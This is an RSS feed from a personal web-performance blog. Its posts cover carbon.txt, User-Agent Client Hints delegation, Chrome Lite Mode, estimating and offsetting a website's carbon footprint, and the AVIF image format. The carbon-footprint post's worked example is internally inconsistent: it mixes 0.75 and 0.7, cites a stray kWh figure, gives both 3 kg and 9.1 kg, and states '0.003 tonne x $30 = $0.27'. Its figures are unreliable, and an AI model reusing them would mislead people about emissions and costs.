<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">

<channel>
	<title>mpulp.mobi</title>
	<atom:link href="https://mpulp.mobi/feed/" rel="self" type="application/rss+xml"/>
	<link>https://mpulp.mobi</link>
	<description>jonarnes thoughts and experiments on mobile internet.</description>
	<lastBuildDate>Thu, 15 Jun 2023 09:03:48 +0000</lastBuildDate>
	<language>nb-NO</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>carbon.txt – What is it and why should you care?</title>
		<link>https://mpulp.mobi/2023/06/14/carbon-txt-what-is-it-and-why-should-you-care/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Wed, 14 Jun 2023 14:02:25 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[sustainability]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4516</guid>

					<description><![CDATA[Similar to the better known&#160;robots.txt&#160;file, the&#160;carbon.txt&#160;file is also a&#160;txt&#160;file located on your webserver. This text file is meant to keep information about the resources used to serve your website and information related to your own carbon footprint. In other words, it is a convention for website owners and digital service providers to demonstrate that their [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Similar to the better known&nbsp;<code>robots.txt</code>&nbsp;file, the&nbsp;<code>carbon.txt</code>&nbsp;file is also a&nbsp;<code>txt</code>&nbsp;file located on your webserver.</p>



<p>This text file is meant to keep information about the resources used to serve your website and information related to your own carbon footprint.</p>



<p>In other words, it is a convention for website owners and digital service providers to demonstrate that their digital infrastructure runs on green electricity.</p>



<h2 class="wp-block-heading" id="toc_1">The Green Web Foundation</h2>



<p>This is an initiative spear-headed by&nbsp;<a href="https://www.thegreenwebfoundation.org">The Green Web Foundation</a>, and to be fair, the initiative is still in its very early stages. However, I think the idea is so great that I think everyone should implement it!</p>



<p>Even if the&nbsp;<a href="https://github.com/thegreenwebfoundation/carbon.txt/blob/master/README.md#getting-started">pilot is currently only for service providers</a>, the general idea makes sense for any website owner.</p>



<p>If you already have a Sustainability Policy, and maybe you&#8217;re even offsetting carbon too, the&nbsp;<code>carbon.txt</code>&nbsp;is a great place to be public about it!</p>



<ul class="wp-block-list">
<li><code>carbon.txt</code>&nbsp;is a canonical location where your carbon footprint is documented. Easy to find.</li>



<li><code>carbon.txt</code>&nbsp;is readable by humans, and crawlable by machines!</li>
</ul>



<h2 class="wp-block-heading" id="toc_2">Make your own&nbsp;<code>carbon.txt</code></h2>



<p>I&#8217;ve been implementing&nbsp;<a href="https://support.imageengine.io/hc/en-us/articles/16495514108813-carbon-txt-What-is-it-and-Why-is-it-Important"><code>carbon.txt</code>&nbsp;for ImageEngine</a>&nbsp;as a part of the pilot.&nbsp;</p>



<p>An example for sites using ImageEngine as a CDN, and Netlify as hosting:</p>



<pre class="wp-block-code"><code>&#91;upstream]
providers = &#91;
    { domain = "netlify.com", service = "shared-hosting" },
    { domain = "imageengine.io", service = "cdn" }
]

&#91;org]
credentials = &#91;
     # Optional, but if you have a sustainability policy, you can reference it here.
    { domain = "yoursite.com", doctype = "webpage", url = "https://yoursite.com/sustainability/"}
]

</code></pre>



<p>(The contents is represented using TOML syntax.)</p>



<p>Because&nbsp;<code>imageengine.io</code>&nbsp;is registered with The Green Web Foundation as a Green Host (<a href="https://www.thegreenwebfoundation.org/directory/">a public data set</a>), this will also count positively against anyone following the trances provided by the file.</p>



<p>Moreover, if you, or a data program, want to dig further, ImageEngine&#8217;s&nbsp;<code>carbon.txt</code>&nbsp;file is located here:&nbsp;<a href="https://imgeng.in/carbon.txt">https://imgeng.in/carbon.txt</a>.</p>



<p>Ideally,&nbsp;<code>carbon.txt</code>&nbsp;will provide a chain of references &#8211; a &laquo;graph&raquo; if you will &#8211; where the entire footprint of the involved providers are documented.&nbsp;</p>



<p>Read&nbsp;<a href="https://github.com/thegreenwebfoundation/carbon.txt">more about the initiative here</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Enter UA-CH lies</title>
		<link>https://mpulp.mobi/2023/04/26/enter-ua-ch-lies/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Wed, 26 Apr 2023 13:41:03 +0000</pubDate>
				<category><![CDATA[mobile thoughts]]></category>
		<category><![CDATA[UA-CH]]></category>
		<category><![CDATA[User-Agent sniffing]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4512</guid>

					<description><![CDATA[Just like predicted, we&#8217;re back to square 1 with UA-CH vs. User-Agent. &#x1f926;&#x200d;&#x2642;&#xfe0f; Unfortunately, I can&#8217;t document the following claim, but I&#8217;m pretty sure that this is the case: The reason for minority browser being locked out and/or getting a degraded experience, is client side (JavaScript) user-agent (or now UA-CH)- sniffing, performed by junior webdevs. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Just like <a href="https://mpulp.mobi/2020/01/16/client-hints-replacing-the-user-agent/">predicted</a>, <a href="https://github.com/WICG/ua-client-hints/issues/293#issuecomment-1522218955">we&#8217;re back to square 1 with UA-CH vs. User-Agent</a>.</p>



<figure class="wp-block-image size-full is-resized"><img fetchpriority="high" decoding="async" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2023/04/UA-Client-Hints_and_Progressive_Enhancement_-_mpulp.png" alt="" class="wp-image-4513" width="645" height="196" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2023/04/UA-Client-Hints_and_Progressive_Enhancement_-_mpulp.png 645w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2023/04/UA-Client-Hints_and_Progressive_Enhancement_-_mpulp-300x91.png 300w" sizes="(max-width: 645px) 100vw, 645px" /></figure>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f926-200d-2642-fe0f.png" alt="🤦‍♂️" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>



<p>Unfortunately, I can&#8217;t document the following claim, but I&#8217;m pretty sure that this is the case:</p>



<p><strong>The reason for minority browser being locked out and/or getting a degraded experience, is client side (JavaScript) user-agent (or now UA-CH)- sniffing, performed by junior webdevs.</strong></p>



<p>Vivaldi&#8217;s experience is proof enough that UA-CH sniffing is bad practice. The UA-CH initiative only made the <strong>problem worse by giving more powerful tools and lowering the efforts</strong> to make use of them (<a href="https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/">the UA-CH js api totally ungated!</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f926-200d-2642-fe0f.png" alt="🤦‍♂️" class="wp-smiley" style="height: 1em; max-height: 1em;" />) </p>



<p>Now, situation is worse than before UA-CH. With only the user-agent we had only one lie which could be well managed by <a href="https://scientiamobile.com">proper device detection</a>. Now we have two lies which may tell separate stories.</p>



<p></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>3 Steps to Make Your App or Site Carbon Neutral</title>
		<link>https://mpulp.mobi/2023/02/23/3-steps-to-make-your-app-or-site-carbon-neutral/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Thu, 23 Feb 2023 11:46:07 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4505</guid>

					<description><![CDATA[To make your app, website, product or service carbon neutral is easier (and cheaper) than you might think! Frankly, it&#8217;s so easy and cheap that everyone should be doing it. It feels good! Here&#8217;s how to go Carbon Neutral. 1. Find out how much electricity is needed As difficult as it sounds, you can use [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>To make your app, website, product or service carbon neutral is easier (and cheaper) than you might think!</p>



<p>Frankly, it&#8217;s so easy and cheap that everyone should be doing it. It feels good!</p>



<p>Here&#8217;s how to go Carbon Neutral.</p>



<h2 class="wp-block-heading" id="toc_1">1. Find out how much electricity is needed</h2>



<p>As difficult as it sounds, you can use common &laquo;proxy metrics&raquo; which will give a reasonable estimate.&nbsp;</p>



<p>One such &laquo;proxy metric&raquo; you can use to derive how much electricity you need to offer your service is the amount of traffic your app or site has. Traffic in terms of (giga-) bytes.&nbsp;</p>



<p>The gigabytes (GB) your app or site generates may be an estimate itself. Unless you&#8217;ve got access to logs and monitor this carefully, you may use tools like webpagetest.org, lighthouse or similar to get an idea of how many bytes one page view generates.</p>



<p>From here things get a little easier thanks to other people&#8217;s efforts. There are mainly two models you can follow: the <a href="">1 byte model</a>, &laquo;<a href="https://www.climatiq.io/blog/calculating-value-chain-emissions-spend-based-data">by spend</a>&raquo; and the <a href="https://sustainablewebdesign.org/calculating-digital-emissions/">Sustainable Web Design model</a> (SWD).</p>



<p>I&#8217;d recommend the SWD model because it&#8217;s very broad, top-down, flexible, transparent and it&#8217;s relatively compliant with other standards in the space, such as the GHG protocol for reporting scopes.</p>



<h3 class="wp-block-heading" id="toc_2">Example to estimate electricity spend</h3>



<p>The formula used by SWD is:</p>



<pre class="wp-block-code"><code>Electricity = &#91;Data Transfer per Visit (new visitors) in GB x 0.81 kWh/GB x 0.75] + &#91;Data Transfer per Visit (returning visitors) in GB x 0.81 kWh/GB x 0.25 x 0.02]</code></pre>



<p>Let&#8217;s say loading a representative page on your website weighs 3 MB everything included. Your website has 1000 visits per month. 70% are new users, 30% are returning users (they have some html, css, js images etc. in their browser cache so they&#8217;re downloading only 2%).</p>



<p>Then the formula would be:</p>



<pre class="wp-block-code"><code>(0.003 GB x 0.81 kWh/GB x 0.7) + (0.003 GB x 0.81 kWh/GB x 0.3 x 0.02) = 0.00171558 kWh/visit.</code></pre>



<p>(The 0.81 kWh/GB and 0.02 are defaults from the SWD model and can be changed if you have better data)</p>



<p>To arrive at a yearly estimate for electricity needs in our example, the formula is then:</p>



<pre class="wp-block-code"><code>1000 visits x 0.00171558 kWh x 12 months = 20.59 kWh.</code></pre>



<h2 class="wp-block-heading" id="toc_3">2. Find out how much CO2 the electricity generate</h2>



<p>To figure out how much CO2 emissions the 0.00057186 kWh cause, you can use services like&nbsp;<a href="https://app.electricitymaps.com/map">Electricity Maps</a>to find the carbon intensity of electricity. This varies drastically around the globe.</p>



<p>In Norway, the carbon intensity of 1 kWh is 25 grams CO2e, while in India and many US states it&#8217;s well above 700 grams CO2e.&nbsp;</p>



<p>The SWD model uses a global average of 442 grams CO2e/kWh.&nbsp;</p>



<p>This number can be adjusted to where your data center is geographically located, whether it&#8217;s powered by renewable energy, and where your users are located.</p>



<p>Using the default, 442 g/kWh, our example looks like this:</p>



<pre class="wp-block-code"><code>20.59 kWh x 442 g/kWh = 9099 g CO2e = 9.1 kg CO2e.</code></pre>



<p>Our website has a yearly carbon footprint of 9.1 kg CO2e.&nbsp;</p>



<p>(Which is about the same as driving a modern fossil car 74.40 km)</p>



<h2 class="wp-block-heading" id="toc_4">3. Buy carbon offsets</h2>



<p>In order to claim carbon neutrality, our example site must make up for the 3 kg CO2e.</p>



<p>This is done by &laquo;offsetting&raquo;. You need to buy &laquo;<a href="https://climate.mit.edu/ask-mit/what-most-cost-effective-way-buy-carbon-offsets">carbon offsets</a>&raquo; to compensate for your emissions.</p>



<p>This business is, to be honest, a little prone for scams. To avoid this article being too long, I&#8217;ll just say; do research, make calls, send emails, look for companies offering projects verified by Gold Standard, Verified Carbon Standard and Climate Action Reserve. Look at&nbsp;<a href="https://www.google.com/search?q=buy+carbon+offset">google for potential places to buy</a>.</p>



<p>From good vendors with good projects offsetting 1 metric tonne (MT) of CO2e costs in the range of $16 &#8211; $30.</p>



<p>Back to our example. What&#8217;s the cost of compensating for the emissions of our website?</p>



<pre class="wp-block-code"><code>0.003 tonne CO2e x $30 = $0.27 per year
</code></pre>



<p>&#8230;honestly, everyone can afford $0.27 per year for a site with 12000 visits per year.</p>



<h2 class="wp-block-heading" id="toc_5">Conclusion</h2>



<p>Yes, the calculation is not accurate and not perfect. It&#8217;s a qualified guess based on the data we have available.</p>



<p>However, we have to start somewhere. The SWD model, the 1 byte model, or even a &laquo;by spend&raquo; models (emission by money spent running your app or site) are all great places to start figuring out the carbon footprint. The rest is so easy and so cheap that everyone should do it!</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Chrome Lite Mode</title>
		<link>https://mpulp.mobi/2022/08/11/chrome-lite-mode/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Thu, 11 Aug 2022 11:13:37 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4487</guid>

					<description><![CDATA[The Chrome Lite Mode, also known as &#171;Data Saver&#187;, introduced in 2014 to help users save data and speed up page loading, was removed in version 100 of Chrome. With ImageEngine, we&#8217;ve seen a drop from around 20% of all requests having the Lite Mode enabled to between 2 and 5 %. 99% of those [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>The Chrome Lite Mode, also known as &laquo;Data Saver&raquo;, introduced in 2014 to help users save data and speed up page loading, was removed in <a href="https://support.google.com/chrome/thread/151853370/sunsetting-chrome-lite-mode-in-m100-and-older?hl=en">version 100</a> of Chrome.</p>



<p><strong>With <a href="https://imageengine.io/?utm_source=jonarnes">ImageEngine</a>, we&#8217;ve seen a drop from around 20% of all requests having the Lite Mode enabled to between 2 and 5 %. </strong></p>



<p>99% of those with Lite Mode enabled today are Smartphones. Lite Mode is still available for Androids. </p>



<p>To make the browser send the <code>save-data:on</code> header, Android users must enabled it in the system settings. This feature came in M102.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="How to Turn On/Off Data saver [Android 12]" width="640" height="360" src="https://www.youtube.com/embed/1l7Kecoiwyc?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<p>Question is <a href="https://twitter.com/colinbendell/status/1265675813204172810">why</a> people enable Lite Mode. Google disabled it because &laquo;data cost has lowered&raquo;, but of course Google wanted to save money by not maintaining the servers that did transcoding.</p>



<p>Do users enable Lite Mode really want to make the page load faster? If cost is no issue, then there must be other reasons (or Google is wrong).</p>



<p></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to Opt-In and Delegate Client-Hints</title>
		<link>https://mpulp.mobi/2022/05/13/how-to-opt-in-and-delegate-client-hints/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Fri, 13 May 2022 13:04:08 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4481</guid>

					<description><![CDATA[This is a moving target! I&#8217;ve been covering the topic before both in Client Hints in general and for User-Agent Client Hints. The architecture is pretty complicated when you first experience it, but it makes sense: First, the website must opt in to the hints it needs, then the browser sends them to the server [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>This is a moving target! I&#8217;ve been covering the topic before both in <a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/">Client Hints in general</a> and for <a href="https://mpulp.mobi/2021/03/12/user-agent-client-hints-delecation-permissions-policy/">User-Agent Client Hints</a>. </p>



<p>The architecture is pretty complicated when you first experience it, but it makes sense: First, the website must opt in to the hints it needs, then the browser sends them to the server on the next request. However, if you need to send the hints to a different domain (origin) than the domain of your website, you&#8217;ll have to explicitly delegate the hints to that domain/origin.</p>



<p>This has been possible for a while (since Chrome 84) using Permission-Policy headers. However, HTTP headers is not very convenient if you&#8217;re a front end dev. </p>



<p>So, <a href="https://chromestatus.com/feature/5684289032159232">since Chrome v100</a>, it is now possible (after some <a href="https://github.com/WICG/client-hints-infrastructure/issues/108">changes to the syntax</a>) to both opt-in for Client Hints and delegate in one single <code>&lt;meta></code> tag:</p>



<pre class="wp-block-preformatted">&lt;meta http-equiv="delegate-ch" content="sec-ch-dpr https://foo.com;"></pre>



<p>As you can imagine, this meta tag gan grow very ugly if you need a lot of hints distributed to all your origins.</p>



<p>I&#8217;ve made a <a href="https://mesquite-prickly-efraasia.glitch.me/">glitch</a> demoing the meta tag for opting in , and delegating to a third party.</p>



<div class="glitch-embed-wrap" style="height: 486px; width: 100%;">
  <iframe allow="geolocation; microphone; camera; midi; encrypted-media" src="https://glitch.com/embed/#!/embed/mesquite-prickly-efraasia?previewSize=100&amp;previewFirst=true&amp;sidebarCollapsed=true" alt="mesquite-prickly-efraasia on Glitch" style="height: 100%; width: 100%; border: 0;">
  </iframe>
</div>



<p>A <code>&lt;meta&gt;</code> tag to enable user-agent client hints for <code>https://classic-mountainous-actress.glitch.me</code> will for example look like this:</p>



<pre class="wp-block-preformatted">&lt;meta http-equiv="delegate-ch" content="sec-ch-dpr https://classic-mountainous-actress.glitch.me; sec-ch-ua-bitness https://classic-mountainous-actress.glitch.me; sec-ch-ua-arch https://classic-mountainous-actress.glitch.me; sec-ch-ua-model https://classic-mountainous-actress.glitch.me; sec-ch-ua-platform https://classic-mountainous-actress.glitch.me; sec-ch-ua-platform-version https://classic-mountainous-actress.glitch.me; sec-ch-ua-full-version https://classic-mountainous-actress.glitch.me; sec-ch-ua-full-version-list https://classic-mountainous-actress.glitch.me ">

</pre>



<p>One difference from the HTTP-header approach is the <code>sec-</code> prefix. With the HTTP header the <a href="https://mpulp.mobi/2021/03/12/user-agent-client-hints-delecation-permissions-policy/"><code>sec-</code> prefix is not needed</a>, but with the <code>&lt;meta&gt;</code> tag it is required.</p>



<p>Aside from UA-CH, users of <a href="https://imageengine.io">Image CDNs</a> may find hints like width, height, viewport-width and dpr more interesting. <a href="https://solstice-gaudy-paneer.glitch.me/">Here&#8217;s a little demo of that too</a>, using the <code>&lt;meta&gt;</code> tag approach.</p>



<p>(The image is a 404, but look at its request headers in the developer tools)</p>



<p> </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>User-Agent Client-Hints, take 2</title>
		<link>https://mpulp.mobi/2021/03/12/user-agent-client-hints-delecation-permissions-policy/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Fri, 12 Mar 2021 09:44:40 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[client hints]]></category>
		<category><![CDATA[permissions-policy]]></category>
		<category><![CDATA[UA-CH]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4439</guid>

					<description><![CDATA[I&#8217;ve written a couple of post about User-Agent Client-Hints (UA-CH) before, and in specific how to delegate UA-CH to third party sites or domains. Delegating UA-CH is useful when you need other sites, domains or hostnames to receive the additional information. One example is if you&#8217;re using an image CDN to optimize images. Since Chrome [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>I&#8217;ve written a couple of post about <a href="/tag/ua-ch/">User-Agent Client-Hints</a> (UA-CH) before, and in specific <a href="https://mpulp.mobi/2020/05/27/delegate-user-agent-client-hints-to-3rd-parties/">how to delegate UA-CH to third party sites or domains</a>. </p>



<p>Delegating UA-CH is useful when you need other sites, domains or hostnames to receive the additional information. One example is if you&#8217;re using an <a href="https://imageengine.io/what-is-an-image-cdn">image CDN</a> to optimize images.</p>



<p>Since Chrome v84 the Chrome team has had a few set backs which has resulted in some changes. In addition, the feature policy header, for delegating the client hints to third parties, has <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/permissions-policy-explainer.md">changed name to Permissions-Policy</a>.</p>



<p>Based on my previous post, let&#8217;s see what&#8217;s changed, and learn how to delegate the UA-CH.</p>



<p>First, the JavaScript API is widely open and does not require any delegation or even opt-in. IMO this is a <a href="https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/">privacy</a> issue, and <a href="https://github.com/WICG/ua-client-hints/issues/151">Apple seems to agree with me</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>



<h2 class="wp-block-heading">1. Opt-in in to Receive User-Agent Client Hints</h2>



<p>We still have to explicitly opt-in to receive the client hints in response headers. In previous implementations it was very confusing because the <code>sec-ch-</code> perfix was not required. Now, we&#8217;ll need to include that prefix like this:</p>



<p><code>Accept-CH: sec-ch-ua-platform,sec-ch-ua-arch,sec-ch-ua-model,sec-ch-ua-platform-version,sec-ch-ua-full-version</code></p>



<h2 class="wp-block-heading">2. Delegate UA-CH using Permissions Policy</h2>



<p>UA-CH was launched with Chrome v84 just around the time when feature policy was renamed to permissions policy. Chrome v89 still supports the <code>feature-policy</code> header, but let&#8217;s move ahead with <code>permissions-policy</code> just to stay bleeding edge <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>



<p>The permissions policy is a <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/permissions-policy-explainer.md#appendix-big-changes-since-this-was-called-feature-policy">structured header</a>. Which makes it look a bit more complicated, but it&#8217;s really not.</p>



<p><code>permissions-policy: ch-ua-arch=("https://foo.bar.com"), ch-ua-model=("https://foo.bar.com"), ch-ua-platform=("https://foo.bar.com"), ch-ua-platform-version=("https://foo.bar.com"), ch-ua-full-version=("https://foo.bar.com")</code></p>



<p>Last time I noted a little caveat here, about the header names. Names are the same, but still different from the header names we used to opt-in to receive UA-CH above. Difference now, is that we don&#8217;t use the <code>sec-</code> prefix in the permission policy.</p>



<h2 class="wp-block-heading">3. Read the UA-CH on your 3rd party resource</h2>



<p>If we&#8217;ve done everything correct, we should now receive the UA-CH headers on our 3rd party. This part has not changed since Chrome v84:</p>



<p><code>sec-ch-ua-full-version: "89.0.4389.82"<br>sec-ch-ua-arch: "x86"<br>sec-ch-ua-platform: "macOS"<br>sec-ch-ua-platform-version: "11_2_3"<br>sec-ch-ua-model: ""<br>sec-ch-ua-mobile: ?0<br>sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"</code></p>



<h2 class="wp-block-heading">Try it out</h2>



<p>I&#8217;ve updated my little glitch to reflect the changes: <a href="https://glen-wistful-protoceratops.glitch.me/" target="_blank" rel="noreferrer noopener">https://glen-wistful-protoceratops.glitch.me/</a></p>



<div class="glitch-embed-wrap" style="height: 486px; width: 100%;">
  <iframe
    allow="geolocation; microphone; camera; midi; encrypted-media"
    src="https://glitch.com/embed/#!/embed/glen-wistful-protoceratops?previewSize=100&#038;previewFirst=true&#038;sidebarCollapsed=true"
    alt="glen-wistful-protoceratops on Glitch"
    style="height: 100%; width: 100%; border: 0;">
  </iframe>
</div>



<p>Here&#8217;s <a href="https://user-agent-client-hints.glitch.me/">the &laquo;official&raquo; demo.</a> However, this does not demo the delegation to other domains or third parties.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Meet AV1 Image File Format, AVIF for short</title>
		<link>https://mpulp.mobi/2020/11/11/meet-av1-image-file-format-avif-for-short/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Wed, 11 Nov 2020 06:59:55 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[avif]]></category>
		<category><![CDATA[image cdn]]></category>
		<category><![CDATA[NextGen image formats]]></category>
		<category><![CDATA[responsive images]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4410</guid>

					<description><![CDATA[The Next-Gen Image format AVIF is the latest arrival in the image optimisation space. What is AVIF? And how does it how much better is it?]]></description>
										<content:encoded><![CDATA[
<p class="has-medium-font-size">The <strong>Next-Gen Image format</strong> <strong>AVIF</strong> is the latest arrival in the image optimisation space. <strong>What is AVIF</strong>? And how does it <strong>how much better</strong> is it?</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img decoding="async" width="527" height="264" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-18.png" alt="avif next gen image format" class="wp-image-4411" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-18.png 527w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-18-300x150.png 300w" sizes="(max-width: 527px) 100vw, 527px" /></figure></div>



<p>Support for <a href="https://aomediacodec.github.io/av1-avif/">AVIF</a> (AV1 Image File Format) was introduced to the mass market by <a href="https://www.chromestatus.com/feature/4905307790639104">Chrome 85</a> in August 2020. Soon, Firefox is expected to enable AVIF by default, but the feature is currently hidden behind a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1625363">flag</a>.There is a growing trend of support for AVIF, so web developers should start planning how they can use this new image format.&nbsp;</p>



<p>However, this AVIF introduction comes just as the web has barely started to use WEBP as the holy grail of image optimization. Now we have to consider using AVIF,&nbsp; which is apparently much better than WEBP. Let&#8217;s have a quick look into the differences.</p>



<h2 class="wp-block-heading"><strong>What is AVIF?</strong></h2>



<p>In short, <a href="https://imageengine.io/blog/what-is-avif">AVIF is a next-gen image format</a> that uses the same compression algorithms found in video codecs. <a href="https://en.wikipedia.org/wiki/AV1#AV1_Image_File_Format_(AVIF)">Wikipedia defines</a> AVIF like this:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>AV1 Image File Format (AVIF) (pronounced [əˈ vif]) is an image file format specification for storing images or image sequences compressed with AV1 in the HEIF file format</p></blockquote>



<p>AV1 is the royalty-free video coding format that the industry has high hopes for in the future. HEIF is also based on a <a href="https://en.wikipedia.org/wiki/High_Efficiency_Image_File_Format">video codec</a>. However, the industry fears there might be some <a href="https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding#Patent_holders">patent issues</a>.&nbsp;</p>



<p>You might recognize HEIF and HEIC from <a href="https://www.macrumors.com/guide/heif-macos-high-sierra-ios-11/">iOS 11 and macOS High Sierra</a>. This is when Apple decided to support HEIF and HEIC formats for internal storage of media. Given Apple’s history, one might expect Apple will continue down the path of HEIC/HEIF, instead of AV1.</p>



<h2 class="wp-block-heading"><strong>How Much Better is AVIF?</strong></h2>



<p>There are several studies and examples that demonstrate how much better AVIF is for compressing, or reducing the byte size of an image, while still maintaining the image quality. Netflix has been <a href="https://netflixtechblog.com/avif-for-next-generation-image-coding-b1d75675fe4">cheering for AVIF</a> for a while. Google themselves are <a href="https://jakearchibald.com/2020/avif-has-landed/">demoing and comparing</a> AVIF image quality and file size to legacy image formats. Not surprisingly, they find AVIF superior.</p>



<p>According to the many tests and demos, AVIF may be around <a href="https://imageengine.io/blog/how-efficient-is-avif">20% more effective than WEBP</a>! </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="905" height="213" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/avifpotetialsavings.png" alt="" class="wp-image-4417" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/avifpotetialsavings.png 905w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/avifpotetialsavings-300x71.png 300w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/avifpotetialsavings-768x181.png 768w" sizes="auto, (max-width: 905px) 100vw, 905px" /><figcaption>Avif is reported to be be 50% smaller than an optimised jpeg, and 20% more effective than webp.</figcaption></figure>



<p>Like always, there are outliers. The comparison on <a href="https://www.ctrl.blog/entry/webp-avif-comparison.html">ctrl.blog</a> illustrates the performance differences between the formats well. AVIF never produces a heavier output image than the jpeg baseline. Still, there might be cases where WEBP, and even JPEG, produce smaller and visually better results than AVIF, just like there are images that will be lighter and higher visual quality with <a href="https://siipo.la/blog/is-webp-really-better-than-jpeg">jpeg compression than webp compression</a>. For example, one common challenge with compression algorithms for still images with roots in the video domain, the background may lose a lot of detail. In those cases webp or jpeg, or <a href="https://imageengine.io/blog/imageengine-introduces-jp2-jpeg2000-for-apple-devices/">jpeg2000</a>, may still be the best option.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="448" height="608" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-46.png" alt="Daniel Aleksandersen avif comparison" class="wp-image-4412" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-46.png 448w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-31-46-221x300.png 221w" sizes="auto, (max-width: 448px) 100vw, 448px" /></figure></div>



<h2 class="wp-block-heading"><strong>Let an Image CDN Decide</strong></h2>



<p>While it is great to have multiple next-generation image format options, it complicates planning and coding. When, which format, and how to select the image format is increasingly complex. Developers need to evaluate the tradeoff between optimizing for quality, image payload size (and page load speed), and code complexity. And each new format makes that tradeoff analysis more difficult to navigate.</p>



<p>The optimal and easiest solution is to use an image CDN. An image CDN is purpose-built to navigate the jungle of image formats and safely deliver high quality, high performance images.&nbsp;</p>



<p>Image CDNs like ImageEngine will automatically integrate new formats like AVIF when browsers support them and they yield superior performance. They also provide support for JPEG2000, WEBP, and even GIF-to-<a href="https://imageengine.io/blog/how-to-compress-gif-with-a-dynamic-image-cdn">MP4 conversion</a>,The result is smaller image payload, faster page loading, and no perceptible change in quality.&nbsp;</p>



